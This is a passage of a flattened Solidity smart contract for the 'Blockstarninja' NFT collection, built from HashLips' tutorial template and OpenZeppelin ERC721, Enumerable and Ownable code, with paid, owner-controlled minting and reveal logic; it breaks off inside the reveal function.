[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,819
0x95c15a245aB017c6D9F3fcF14CcE6756Cb527b0A
// SPDX-License-Identifier: MIT // Amended by HashLips /** !Disclaimer! These contracts have been used to create tutorials, and was created for the purpose to teach people how to create smart contracts on the blockchain. please review this code on your own before using any of the following code for production. HashLips will not be liable in any way if for the use of the code. That being said, the code has been tested to the best of the developers' knowledge to work as intended. */ // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity >=0.7.0 <0.9.0; contract Blockstarninja is ERC721Enumerable, Ownable { using Strings for uint256; string baseURI; string public baseExtension = ".json"; uint256 public cost = 0.03 ether; uint256 public maxSupply = 10000; uint256 public maxMintAmount = 25; bool public paused = true; bool public revealed = true; string public notRevealedUri; constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); setNotRevealedURI(_initNotRevealedUri); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(uint256 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused); require(_mintAmount > 0); require(_mintAmount <= maxMintAmount); require(supply + _mintAmount <= maxSupply); if (msg.sender != owner()) { require(msg.value >= cost * _mintAmount); } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); if(revealed == false) { return notRevealedUri; } string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : ""; } //only owner function reveal() public onlyOwner() { revealed 